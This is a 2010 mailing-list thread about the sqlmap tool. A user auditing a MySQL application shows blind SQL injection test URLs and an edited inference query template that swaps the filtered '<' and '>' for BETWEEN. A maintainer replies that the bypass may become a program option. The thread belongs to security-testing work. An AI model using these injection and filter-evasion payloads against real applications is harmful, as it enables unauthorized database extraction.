Hi.
We'll take into the consideration implementation of the program option which
could do this automatically - in case of inference tests usage of between
program structure instead of standard lesser/greater - or maybe use it as a
primary concept.
Kind regards.
On Tue, Feb 23, 2010 at 10:59 AM, velky brat <vel...@gm...> wrote:
> Ok, I have resolved the problem. Just brief info for other users:
> If characters like '<' or '>' are filtered, it is possible to modify query
> like this
>
>
> <inference query="AND ORD(MID((%s), %d, 1)) BETWEEN 0 AND %d"/>
>
> vb
>
>
> On Sat, Feb 20, 2010 at 6:38 PM, velky brat <vel...@gm...> wrote:
>
>> Hello,
>> I have found blind SQL injection in the GET parameter of audited MySQL
>> application (also sqlmap is able to identify the injection), but it is not
>> possible to dump any data (like --current-user or --current-db). Only
>> option, which is working is --fingerprint (gives correct result of mySQL 5
>> version), all other options gave the same result as "None".
>> Because it looked strange to me, I made some basic tests manually with
>> following results:
>>
>>
>> http://localhost/index.php?id=9 AND 1 = 1 ---> TRUE (should be TRUE)
>> http://localhost/index.php?id=9 AND 1 = 0 ---> FALSE (should be FALSE)
>>
>> http://localhost/index.php?id=9 AND 6 > 5 ---> FALSE (should be TRUE)
>> http://localhost/index.php?id=9 AND 6 < 5 ---> FALSE (should be FALSE)
>>
>> http://localhost/index.php?id=9 AND 6 BETWEEN 0 and 5 ---> FALSE
>> http://localhost/index.php?id=9 AND 6 BETWEEN 0 and 10 ---> TRUE
>>
>> As you can see from these results, it looks that characters "<" and ">"
>> are filtered within application.
>>
>> However, injection is still working. I suppose, that sqlmap uses these
>> characters ("<",">") really often during dumping of data from database.
>> So I have changed the following line in mysql section of queries.xml file:
>>
>> original line:
>> <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
>>
>> updated line:
>> <inference query="AND ORD(MID((%s), %d, 1)) BETWEEN 0 AND %d"/>
>>
>> Unfortunatelly, the result was same (None). What else should be modified?
>>
>> Is it be possible to use BETWEEN statement instead of ">" in current
>> version of sqlmap?
>> Is it already supported somehow in sqlmap or would it appear in future
>> versions?
>>
>> Thank you in advance
>>
>> vb
>>
>>
>
>
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Miroslav Stampar
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